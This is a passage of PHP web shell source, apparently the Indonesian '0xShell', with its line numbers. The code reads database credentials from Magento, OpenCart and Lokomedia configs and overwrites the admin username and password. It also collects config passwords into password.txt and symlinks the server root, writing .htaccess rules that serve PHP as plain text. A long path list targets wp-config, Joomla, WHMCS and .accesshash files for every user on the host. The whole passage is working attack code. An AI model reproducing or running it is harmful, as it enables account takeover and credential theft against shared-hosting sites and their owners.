  1182.         $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1183.         $prefix = $dbprefix."admin_user";
  1184.         $option = $dbprefix."core_config_data";
  1185.         $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1186.         $db = mysql_select_db($dbname);
  1187.         $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1188.         $result = mysql_fetch_array($q);
  1189.         $id = $result[user_id];
  1190.         $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1191.         $result2 = mysql_fetch_array($q2);
  1192.         $target = $result2[value];
  1193.         if($target == '') {
  1194.           $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1195.         } else {
  1196.           $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1197.         }
  1198.         $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  1199.         echo "[ ".$file_conf." ]<br>";
  1200.         echo "CMS => Magento<br>";
  1201.         echo $url_target;
  1202.         if(!$update OR !$conn OR !$db) {
  1203.           echo "[-] <font color=red>".mysql_error()."</font><br><br>";
  1204.         } else {
  1205.           echo "[+] username: <font color=lime>$user</font><br>";
  1206.           echo "[+] password: <font color=lime>$pass</font><br><br>";
  1207.         }
  1208.         mysql_close($conn);
  1209.       } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1210.         $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1211.         $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1212.         $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1213.         $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1214.         $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1215.         $prefix = $dbprefix."user";
  1216.         $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1217.         $db = mysql_select_db($dbname);
  1218.         $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1219.         $result = mysql_fetch_array($q);
  1220.         $id = $result[user_id];
  1221.         $target = ambilkata($config,"HTTP_SERVER', '","'");
  1222.         if($target == '') {
  1223.           $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1224.         } else {
  1225.           $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1226.         }
  1227.         $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  1228.         echo "[ ".$file_conf." ]<br>";
  1229.         echo "CMS => OpenCart<br>";
  1230.         echo $url_target;
  1231.         if(!$update OR !$conn OR !$db) {
  1232.           echo "[-] <font color=red>".mysql_error()."</font><br><br>";
  1233.         } else {
  1234.           echo "[+] username: <font color=lime>$user</font><br>";
  1235.           echo "[+] password: <font color=lime>$pass</font><br><br>";
  1236.         }
  1237.         mysql_close($conn);
  1238.       } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1239.         $dbhost = ambilkata($config,'server = "','"');
  1240.         $dbuser = ambilkata($config,'username = "','"');
  1241.         $dbpass = ambilkata($config,'password = "','"');
  1242.         $dbname = ambilkata($config,'database = "','"');
  1243.         $prefix = "users";
  1244.         $option = "identitas";
  1245.         $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1246.         $db = mysql_select_db($dbname);
  1247.         $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1248.         $result = mysql_fetch_array($q);
  1249.         $target = $result[alamat_website];
  1250.         if($target == '') {
  1251.           $target2 = $result[url];
  1252.           $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1253.           if($target2 == '') {
  1254.             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1255.           } else {
  1256.             $cek_login3 = file_get_contents("$target2/adminweb/");
  1257.             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1258.             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1259.               $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1260.             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1261.               $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1262.             } else {
  1263.               $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1264.             }
  1265.           }
  1266.         } else {
  1267.           $cek_login = file_get_contents("$target/adminweb/");
  1268.           $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1269.           if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1270.             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1271.           } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1272.             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1273.           } else {
  1274.             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1275.           }
  1276.         }
  1277.         $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'");
  1278.         echo "[ ".$file_conf." ]<br>";
  1279.         echo "CMS => Lokomedia<br>";
  1280.         if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1281.           echo $url_target2;
  1282.         } else {
  1283.           echo $url_target;
  1284.         }
  1285.         if(!$update OR !$conn OR !$db) {
  1286.           echo "[-] <font color=red>".mysql_error()."</font><br><br>";
  1287.         } else {
  1288.           echo "[+] username: <font color=lime>$user</font><br>";
  1289.           echo "[+] password: <font color=lime>$pass</font><br><br>";
  1290.         }
  1291.         mysql_close($conn);
  1292.       }
  1293.     }
  1294.   }    
  1295. }
  1296. elseif(isset($_GET['do']) && ($_GET['do'] == 'grabpass')) {
  1297. if($_POST['gass']) {
  1298.     echo "<center><h1>Config Password Grabber</h1>
  1299.        <form method='post'>
  1300.        Link Config: <br>
  1301.        <textarea name='link' style='width: 450px; height:250px;'>";
  1302.     UrlLoop($_POST['linkconf'],'txt');  
  1303.     echo"</textarea><br>
  1304.        <input type='submit' style='width: 450px;' name='grabpass' value='Hajar!!'>
  1305.        </form></center>";
  1306. }   else {
  1307.         echo "<center><h1>Joomla Auto Change User 2</h1>
  1308.        <form method='post'>
  1309.        Link Config: <br>
  1310.        <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/0xsym/'><br>
  1311.        <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1312.        </form></center>";
  1313.     }
  1314. if($_POST['grabpass']) {
  1315.    
  1316.  
  1317.         $link = explode("\r\n", $_POST['link']);
  1318.         echo '<textarea>';
  1319.         foreach($link as $dir_config) {
  1320.             $ambilpass=ambil_password($dir_config);
  1321.             $hh=@file_get_contents("password.txt");
  1322.             @file_put_contents("password.txt", $hh.$ambilpass);
  1323.            
  1324. echo $ambilpass;
  1325.  
  1326.  
  1327.                     }
  1328.         echo '</textarea>';
  1329.     }  
  1330. }
  1331. elseif(isset($_GET['do']) && ($_GET['do'] == 'symlink')) {
  1332.    
  1333. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1334. $d0mains = @file("/etc/named.conf");
  1335. ##httaces
  1336. if($d0mains){
  1337. @mkdir("0xsymlink",0777);
  1338. @chdir("0xsymlink");
  1339. @exe("ln -s / root");
  1340. $file3 = 'Options Indexes FollowSymLinks
  1341. DirectoryIndex jancox.htm
  1342. AddType text/plain .php
  1343. AddHandler text/plain .php
  1344. Satisfy Any';
  1345. $fp3 = fopen('.htaccess','w');
  1346. $fw3 = fwrite($fp3,$file3);
  1347. @fclose($fp3);
  1348. echo "
  1349. <table align=center border=1 style='width:60%;border-color:#333333;'>
  1350. <tr>
  1351. <td align=center><font size=2>S. No.</font></td>
  1352. <td align=center><font size=2>Domains</font></td>
  1353. <td align=center><font size=2>Users</font></td>
  1354. <td align=center><font size=2>Symlink</font></td>
  1355. </tr>";
  1356. $dcount = 1;
  1357. foreach($d0mains as $d0main){
  1358. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1359. flush();
  1360. if(strlen(trim($domains[1][0])) > 2){
  1361. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  1362. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  1363. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  1364. <td>".$user['name']."</td>
  1365. <td><a href='$full/0xsymlink/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  1366. flush();
  1367. $dcount++;}}}
  1368. echo "</table>";
  1369. }else{
  1370. $TEST=$etcpasswd;
  1371. if ($TEST){
  1372. @mkdir("0xsymlink",0777);
  1373. @chdir("0xsymlink");
  1374. exe("ln -s / root");
  1375. $file3 = 'Options Indexes FollowSymLinks
  1376. DirectoryIndex jancox.htm
  1377. AddType text/plain .php
  1378. AddHandler text/plain .php
  1379. Satisfy Any';
  1380.  $fp3 = fopen('.htaccess','w');
  1381.  $fw3 = fwrite($fp3,$file3);
  1382.  @fclose($fp3);
  1383.  echo "
  1384. <table align=center border=1><tr>
  1385. <td align=center><font size=3>S. No.</font></td>
  1386. <td align=center><font size=3>Users</font></td>
  1387. <td align=center><font size=3>Symlink</font></td></tr>";
  1388.  $dcount = 1;
  1389.  $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  1390.  // $file=$etcpasswd;
  1391.  while(!feof($file)){
  1392.  $s = fgets($file);
  1393.  $matches = array();
  1394.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1395.  $matches = str_replace("home/","",$matches[1]);
  1396.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1397.  continue;
  1398.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1399. <td align=center><font class=txt>" . $matches . "</td>";
  1400.  echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1401.  $dcount++;}fclose($file);
  1402.  echo "</table>";
  1403. }else{
  1404.  
  1405.     if($os != "Windows"){
  1406.         @mkdir("0xsymlink",0777);
  1407.         @chdir("0xsymlink");
  1408.         @exe("ln -s / root");
  1409.         $file3 = '
  1410. Options Indexes FollowSymLinks
  1411. DirectoryIndex jancox.htm
  1412. AddType text/plain .php
  1413. AddHandler text/plain .php
  1414. Satisfy Any
  1415. ';
  1416.  $fp3 = fopen('.htaccess','w');
  1417.  $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  1418.  echo "
  1419. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  1420. <table align=center border=1><tr>
  1421. <td align=center><font size=3>ID</font></td>
  1422. <td align=center><font size=3>Users</font></td>
  1423. <td align=center><font size=3>Symlink</font></td></tr>";
  1424.  $temp = "";$val1 = 0;$val2 = 1000;
  1425.  for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  1426.  if ($uid)$temp .= join(':',$uid)."\n";}
  1427.  echo '<br/>';$temp = trim($temp);$file5 =
  1428.  fopen("test.txt","w");
  1429.  fputs($file5,$temp);
  1430.  fclose($file5);$dcount = 1;$file =
  1431.  fopen("test.txt", "r") or exit("Unable to open file!");
  1432.  while(!feof($file)){$s = fgets($file);$matches = array();
  1433.  $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  1434.  if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1435.  continue;
  1436.  echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1437. <td align=center><font class=txt>" . $matches . "</td>";
  1438.  echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1439.  $dcount++;}
  1440.  fclose($file);
  1441.  echo "</table></div></center>";unlink("test.txt");
  1442.  } else
  1443.  echo "<center><font size=3>Cannot create Symlink</font></center>";
  1444.  }
  1445.  }    
  1446. }
  1447. elseif(isset($_GET['do']) && ($_GET['do'] == 'config')) {
  1448.     if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  1449. echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
  1450. exit;
  1451. }
  1452.     if($_POST){ if($_POST['tipe'] == 'grabsymv') {
  1453.         @mkdir("0xsymv", 0777);
  1454. exe("ln -s / 0xsymv/root");
  1455. $htaccess="Options Indexes FollowSymLinks
  1456. DirectoryIndex jancox.htm
  1457. AddType text/plain .php
  1458. AddHandler text/plain .php
  1459. Satisfy Any";
  1460. @file_put_contents("0xsymv/.htaccess",$htaccess);
  1461.         $etc_passwd=$_POST['passwd'];
  1462.    
  1463.     $etc_passwd=explode("\n",$etc_passwd);
  1464. foreach($etc_passwd as $passwd){
  1465. $pawd=explode(":",$passwd);
  1466. $user =$pawd[5];
  1467. $usera = preg_replace('/\/var\/www\/vhosts\//', '', $user);
  1468. if (preg_match('/vhosts/i',$user)){
  1469. exe("ln -s ".$user."/httpdocs/wp-config.php 0xsymv/".$usera."-Wordpress.txt");
  1470. exe("ln -s ".$user."/httpdocs/configuration.php 0xsymv/".$usera."-Joomla.txt");
  1471. exe("ln -s ".$user."/httpdocs/config/koneksi.php 0xsymv/".$usera."-Lokomedia.txt");
  1472. exe("ln -s ".$user."/httpdocs/forum/config.php 0xsymv/".$usera."-phpBB.txt");
  1473. exe("ln -s ".$user."/httpdocs/sites/default/settings.php 0xsymv/".$usera."-Drupal.txt");
  1474. exe("ln -s ".$user."/httpdocs/config/settings.inc.php 0xsymv/".$usera."-PrestaShop.txt");
  1475. exe("ln -s ".$user."/httpdocs/app/etc/local.xml 0xsymv/".$usera."-Magento.txt");
  1476. exe("ln -s ".$user."/httpdocs/admin/config.php 0xsymv/".$usera."-OpenCart.txt");
  1477. exe("ln -s ".$user."/httpdocs/application/config/database.php 0xsymv/".$usera."-Ellislab.txt");
  1478. }}}
  1479. if($_POST['tipe'] == 'grabsym') {
  1480. @mkdir("0xsym", 0777);
  1481. @symlink("/","0xsym/root");
  1482. $htaccess="Options Indexes FollowSymLinks
  1483. DirectoryIndex jancox.htm
  1484. AddType text/plain .php
  1485. AddHandler text/plain .php
  1486. Satisfy Any";
  1487. @file_put_contents("0xsym/.htaccess",$htaccess);}
  1488. if($_POST['tipe'] == 'grabsym404') {
  1489. @mkdir("0xsym404", 0777);
  1490. @symlink("/","0xsym404/root");
  1491. $htaccess="Options Indexes FollowSymLinks
  1492. DirectoryIndex jancox.htm
  1493. AddType text/plain .php
  1494. AddHandler text/plain .php
  1495. Satisfy Any
  1496. IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
  1497. AddIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC' ^^DIRECTORY^^
  1498. DefaultIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='
  1499. IndexIgnore *.txt404
  1500. IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'
  1501. RewriteEngine On
  1502. RewriteCond %{REQUEST_FILENAME} ^.*0xsym404 [NC]
  1503. RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  1504. @file_put_contents("0xsym404/.htaccess",$htaccess);
  1505. }
  1506. if($_POST['tipe'] == 'grab') {
  1507.                         mkdir("0xgrab", 0777);
  1508.                         $isi_htc = "Options all\nRequire None\nSatisfy Any";
  1509.                         $htc = fopen("0xgrab/.htaccess","w");
  1510.                         fwrite($htc, $isi_htc);
  1511. }
  1512. $passwd = $_POST['passwd'];
  1513.  
  1514. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  1515. foreach($user_config[1] as $user_cox) {
  1516. $grab_config = array(
  1517. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  1518. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1519. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  1520. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1521. "/home/$user_cox/public_html/config/settings.inc.php" => "Shop",
  1522. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1523. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  1524. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1525. "/home/$user_cox/public_html/vb/includes/config.php" => "Vbulletin",
  1526. "/home/$user_cox/public_html/includes/config.php" => "Vbulletin",
  1527. "/home/$user_cox/public_html/forum/includes/config.php" => "Vbulletin",
  1528. "/home/$user_cox/public_html/forums/includes/config.php" => "Vbulletin",
  1529. "/home/$user_cox/public_html/cc/includes/config.php" => "Vbulletin",
  1530. "/home/$user_cox/public_html/inc/config.php" => "MyBB",
  1531. "/home/$user_cox/public_html/includes/configure.php" => "OsCommerce",
  1532. "/home/$user_cox/public_html/shop/includes/configure.php" => "OsCommerce",
  1533. "/home/$user_cox/public_html/os/includes/configure.php" => "OsCommerce",
  1534. "/home/$user_cox/public_html/oscom/includes/configure.php" => "OsCommerce",
  1535. "/home/$user_cox/public_html/products/includes/configure.php" => "OsCommerce",
  1536. "/home/$user_cox/public_html/cart/includes/configure.php" => "OsCommerce",
  1537. "/home/$user_cox/public_html/inc/conf_global.php" => "IPB",
  1538. "/home/$user_cox/public_html/wp-config.php" => "Wordpress",
  1539. "/home/$user_cox/public_html/wp/test/wp-config.php" => "Wordpress",
  1540. "/home/$user_cox/public_html/blog/wp-config.php" => "Wordpress",
  1541. "/home/$user_cox/public_html/beta/wp-config.php" => "Wordpress",
  1542. "/home/$user_cox/public_html/portal/wp-config.php" => "Wordpress",
  1543. "/home/$user_cox/public_html/site/wp-config.php" => "Wordpress",
  1544. "/home/$user_cox/public_html/wp/wp-config.php" => "Wordpress",
  1545. "/home/$user_cox/public_html/WP/wp-config.php" => "Wordpress",
  1546. "/home/$user_cox/public_html/news/wp-config.php" => "Wordpress",
  1547. "/home/$user_cox/public_html/wordpress/wp-config.php" => "Wordpress",
  1548. "/home/$user_cox/public_html/test/wp-config.php" => "Wordpress",
  1549. "/home/$user_cox/public_html/demo/wp-config.php" => "Wordpress",
  1550. "/home/$user_cox/public_html/home/wp-config.php" => "Wordpress",
  1551. "/home/$user_cox/public_html/v1/wp-config.php" => "Wordpress",
  1552. "/home/$user_cox/public_html/v2/wp-config.php" => "Wordpress",
  1553. "/home/$user_cox/public_html/press/wp-config.php" => "Wordpress",
  1554. "/home/$user_cox/public_html/new/wp-config.php" => "Wordpress",
  1555. "/home/$user_cox/public_html/blogs/wp-config.php" => "Wordpress",
  1556. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  1557. "/home/$user_cox/public_html/blog/configuration.php" => "Joomla",
  1558. "/home/$user_cox/public_html/submitticket.php" => "^WHMCS",
  1559. "/home/$user_cox/public_html/cms/configuration.php" => "Joomla",
  1560. "/home/$user_cox/public_html/beta/configuration.php" => "Joomla",
  1561. "/home/$user_cox/public_html/portal/configuration.php" => "Joomla",
  1562. "/home/$user_cox/public_html/site/configuration.php" => "Joomla",
  1563. "/home/$user_cox/public_html/main/configuration.php" => "Joomla",
  1564. "/home/$user_cox/public_html/home/configuration.php" => "Joomla",
  1565. "/home/$user_cox/public_html/demo/configuration.php" => "Joomla",
  1566. "/home/$user_cox/public_html/test/configuration.php" => "Joomla",
  1567. "/home/$user_cox/public_html/v1/configuration.php" => "Joomla",
  1568. "/home/$user_cox/public_html/v2/configuration.php" => "Joomla",
  1569. "/home/$user_cox/public_html/joomla/configuration.php" => "Joomla",
  1570. "/home/$user_cox/public_html/new/configuration.php" => "Joomla",
  1571. "/home/$user_cox/public_html/WHMCS/submitticket.php" => "WHMCS",
  1572. "/home/$user_cox/public_html/whmcs1/submitticket.php" => "WHMCS",
  1573. "/home/$user_cox/public_html/Whmcs/submitticket.php" => "WHMCS",
  1574. "/home/$user_cox/public_html/whmcs/submitticket.php" => "WHMCS",
  1575. "/home/$user_cox/public_html/whmcs/submitticket.php" => "WHMCS",
  1576. "/home/$user_cox/public_html/WHMC/submitticket.php" => "WHMCS",
  1577. "/home/$user_cox/public_html/Whmc/submitticket.php" => "WHMCS",
  1578. "/home/$user_cox/public_html/whmc/submitticket.php" => "WHMCS",
  1579. "/home/$user_cox/public_html/WHM/submitticket.php" => "WHMCS",
  1580. "/home/$user_cox/public_html/Whm/submitticket.php" => "WHMCS",
  1581. "/home/$user_cox/public_html/whm/submitticket.php" => "WHMCS",
  1582. "/home/$user_cox/public_html/HOST/submitticket.php" => "WHMCS",
  1583. "/home/$user_cox/public_html/Host/submitticket.php" => "WHMCS",
  1584. "/home/$user_cox/public_html/host/submitticket.php" => "WHMCS",
  1585. "/home/$user_cox/public_html/SUPPORTES/submitticket.php" => "WHMCS",
  1586. "/home/$user_cox/public_html/Supportes/submitticket.php" => "WHMCS",
  1587. "/home/$user_cox/public_html/supportes/submitticket.php" => "WHMCS",
  1588. "/home/$user_cox/public_html/domains/submitticket.php" => "WHMCS",
  1589. "/home/$user_cox/public_html/domain/submitticket.php" => "WHMCS",
  1590. "/home/$user_cox/public_html/Hosting/submitticket.php" => "WHMCS",
  1591. "/home/$user_cox/public_html/HOSTING/submitticket.php" => "WHMCS",
  1592. "/home/$user_cox/public_html/hosting/submitticket.php" => "WHMCS",
  1593. "/home/$user_cox/public_html/CART/submitticket.php" => "WHMCS",
  1594. "/home/$user_cox/public_html/Cart/submitticket.php" => "WHMCS",
  1595. "/home/$user_cox/public_html/cart/submitticket.php" => "WHMCS",
  1596. "/home/$user_cox/public_html/ORDER/submitticket.php" => "WHMCS",
  1597. "/home/$user_cox/public_html/Order/submitticket.php" => "WHMCS",
  1598. "/home/$user_cox/public_html/order/submitticket.php" => "WHMCS",
  1599. "/home/$user_cox/public_html/CLIENT/submitticket.php" => "WHMCS",
  1600. "/home/$user_cox/public_html/Client/submitticket.php" => "WHMCS",
  1601. "/home/$user_cox/public_html/client/submitticket.php" => "WHMCS",
  1602. "/home/$user_cox/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
  1603. "/home/$user_cox/public_html/Clientarea/submitticket.php" => "WHMCS",
  1604. "/home/$user_cox/public_html/clientarea/submitticket.php" => "WHMCS",
  1605. "/home/$user_cox/public_html/SUPPORT/submitticket.php" => "WHMCS",
  1606. "/home/$user_cox/public_html/Support/submitticket.php" => "WHMCS",
  1607. "/home/$user_cox/public_html/support/submitticket.php" => "WHMCS",
  1608. "/home/$user_cox/public_html/BILLING/submitticket.php" => "WHMCS",
  1609. "/home/$user_cox/public_html/Billing/submitticket.php" => "WHMCS",
  1610. "/home/$user_cox/public_html/billing/submitticket.php" => "WHMCS",
  1611. "/home/$user_cox/public_html/BUY/submitticket.php" => "WHMCS",
  1612. "/home/$user_cox/public_html/Buy/submitticket.php" => "WHMCS",
  1613. "/home/$user_cox/public_html/buy/submitticket.php" => "WHMCS",
  1614. "/home/$user_cox/public_html/MANAGE/submitticket.php" => "WHMCS",
  1615. "/home/$user_cox/public_html/Manage/submitticket.php" => "WHMCS",
  1616. "/home/$user_cox/public_html/manage/submitticket.php" => "WHMCS",
  1617. "/home/$user_cox/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  1618. "/home/$user_cox/public_html/ClientSupport/submitticket.php" => "WHMCS",
  1619. "/home/$user_cox/public_html/Clientsupport/submitticket.php" => "WHMCS",
  1620. "/home/$user_cox/public_html/clientsupport/submitticket.php" => "WHMCS",
  1621. "/home/$user_cox/public_html/CHECKOUT/submitticket.php" => "WHMCS",
  1622. "/home/$user_cox/public_html/Checkout/submitticket.php" => "WHMCS",
  1623. "/home/$user_cox/public_html/checkout/submitticket.php" => "WHMCS",
  1624. "/home/$user_cox/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1625. "/home/$user_cox/public_html/Billings/submitticket.php" => "WHMCS",
  1626. "/home/$user_cox/public_html/billings/submitticket.php" => "WHMCS",
  1627. "/home/$user_cox/public_html/BASKET/submitticket.php" => "WHMCS",
  1628. "/home/$user_cox/public_html/Basket/submitticket.php" => "WHMCS",
  1629. "/home/$user_cox/public_html/basket/submitticket.php" => "WHMCS",
  1630. "/home/$user_cox/public_html/SECURE/submitticket.php" => "WHMCS",
  1631. "/home/$user_cox/public_html/Secure/submitticket.php" => "WHMCS",
  1632. "/home/$user_cox/public_html/secure/submitticket.php" => "WHMCS",
  1633. "/home/$user_cox/public_html/SALES/submitticket.php" => "WHMCS",
  1634. "/home/$user_cox/public_html/Sales/submitticket.php" => "WHMCS",
  1635. "/home/$user_cox/public_html/sales/submitticket.php" => "WHMCS",
  1636. "/home/$user_cox/public_html/BILL/submitticket.php" => "WHMCS",
  1637. "/home/$user_cox/public_html/Bill/submitticket.php" => "WHMCS",
  1638. "/home/$user_cox/public_html/bill/submitticket.php" => "WHMCS",
  1639. "/home/$user_cox/public_html/PURCHASE/submitticket.php" => "WHMCS",
  1640. "/home/$user_cox/public_html/Purchase/submitticket.php" => "WHMCS",
  1641. "/home/$user_cox/public_html/purchase/submitticket.php" => "WHMCS",
  1642. "/home/$user_cox/public_html/ACCOUNT/submitticket.php" => "WHMCS",
  1643. "/home/$user_cox/public_html/Account/submitticket.php" => "WHMCS",
  1644. "/home/$user_cox/public_html/account/submitticket.php" => "WHMCS",
  1645. "/home/$user_cox/public_html/USER/submitticket.php" => "WHMCS",
  1646. "/home/$user_cox/public_html/User/submitticket.php" => "WHMCS",
  1647. "/home/$user_cox/public_html/user/submitticket.php" => "WHMCS",
  1648. "/home/$user_cox/public_html/CLIENTS/submitticket.php" => "WHMCS",
  1649. "/home/$user_cox/public_html/Clients/submitticket.php" => "WHMCS",
  1650. "/home/$user_cox/public_html/clients/submitticket.php" => "WHMCS",
  1651. "/home/$user_cox/public_html/BILLINGS/submitticket.php" => "WHMCS",
  1652. "/home/$user_cox/public_html/Billings/submitticket.php" => "WHMCS",
  1653. "/home/$user_cox/public_html/billings/submitticket.php" => "WHMCS",
